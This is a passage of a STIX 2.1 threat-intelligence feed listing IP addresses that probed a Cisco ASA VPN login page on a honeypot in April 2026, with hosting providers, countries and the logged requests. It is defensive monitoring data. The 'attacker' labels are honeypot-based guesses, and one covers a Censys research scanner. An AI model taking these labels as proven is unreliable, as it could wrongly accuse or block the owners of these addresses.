      "id": "indicator--f1d282aa-fd6c-405f-8f8e-b7fb5941cc60",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T08:25:43.848Z",
          "last_seen": "2026-04-23T09:43:49.249Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4a49a309-5acd-4a35-ae0d-23af7f6e7cc7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-13T09:15:56.980Z",
          "last_seen": "2026-04-28T03:53:01.707Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--47b5e499-7cee-44cd-b81f-aff54029d06a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-13T08:33:30.793Z",
          "last_seen": "2026-04-13T08:48:09.609Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--94bfad4a-1520-4e87-b920-5686a19be84f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-13T08:34:36.057Z",
          "last_seen": "2026-04-27T23:36:46.736Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--3caf387b-6aa6-4bbc-ba55-1e506e476aaa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '94.143.230.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:20:10.000Z",
      "valid_until": "2026-05-15T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-13T08:53:36.129Z",
          "last_seen": "2026-04-13T12:20:16.717Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--aa668d21-e057-4e38-bce1-05797af2f11c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T10:20:11.000Z",
      "valid_until": "2026-05-15T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-13T09:56:31.841Z",
          "last_seen": "2026-04-29T23:00:06.118Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7780a1b3-e394-4bcb-a7d8-6e3c16a9403f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T10:20:11.000Z",
      "valid_until": "2026-05-15T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-13T10:14:41.633Z",
          "last_seen": "2026-04-28T00:18:32.347Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b82241bc-2b9f-451c-aee8-91cccc93c3b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T10:20:11.000Z",
      "valid_until": "2026-05-15T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-13T10:11:52.588Z",
          "last_seen": "2026-04-29T11:14:13.314Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--17f13784-4c35-4a3a-a8ca-c2f5fa34b942",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T10:20:11.000Z",
      "valid_until": "2026-05-15T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-13T10:19:22.634Z",
          "last_seen": "2026-04-29T13:46:23.710Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--99238823-3981-4083-95e4-7fba32cf63ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.79.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T10:20:11.000Z",
      "valid_until": "2026-05-15T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T10:00:26.638Z",
          "last_seen": "2026-04-29T09:07:47.070Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5fef50d5-ac65-4da6-9a93-66445a91d010",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T10:20:11.000Z",
      "valid_until": "2026-05-15T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-13T09:44:37.229Z",
          "last_seen": "2026-04-27T17:58:40.997Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a08d9ce2-b5f4-4b0b-98b2-1756b55c9e08",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T10:20:11.000Z",
      "valid_until": "2026-05-15T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-13T09:36:45.227Z",
          "last_seen": "2026-04-26T09:03:41.834Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--81b581eb-ca7c-4786-abe7-f583932b5a2c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T10:20:11.000Z",
      "valid_until": "2026-05-15T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 10,
          "first_seen": "2026-04-13T10:02:10.708Z",
          "last_seen": "2026-04-23T11:55:39.291Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0bb3996f-ee35-466a-9410-dcd84fe4cd56",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T10:20:11.000Z",
      "valid_until": "2026-05-15T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-13T09:38:23.421Z",
          "last_seen": "2026-04-27T14:34:52.408Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--2f0d5dff-2d01-448b-82ab-967bed2f80cc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T10:20:11.000Z",
      "valid_until": "2026-05-15T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-13T10:15:22.836Z",
          "last_seen": "2026-04-13T10:15:40.689Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--c72a5359-b123-42d7-ae37-8d7f18985532",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-13T11:27:55.739Z",
          "last_seen": "2026-04-28T03:03:04.503Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--acdf0b0b-a537-4916-94bd-c69303bea6e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T11:53:00.229Z",
          "last_seen": "2026-04-24T12:01:36.966Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--b8d768db-6662-42b8-b62b-4456653c11d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.121.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T12:17:31.613Z",
          "last_seen": "2026-04-13T12:17:55.818Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SC; ASN 62240 (Clouvider Limited)",
      "id": "indicator--cac098e1-38ef-479a-a7d3-559efafbc7ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '156.229.255.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T11:35:31.091Z",
          "last_seen": "2026-04-13T11:35:45.939Z",
          "country": "Seychelles",
          "country_code": "SC",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--9f1dcaa7-8258-400e-b25c-2a8f87ea4957",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.117.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:20:10.000Z",
      "valid_until": "2026-05-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T12:15:25.875Z",
          "last_seen": "2026-04-15T03:08:40.249Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
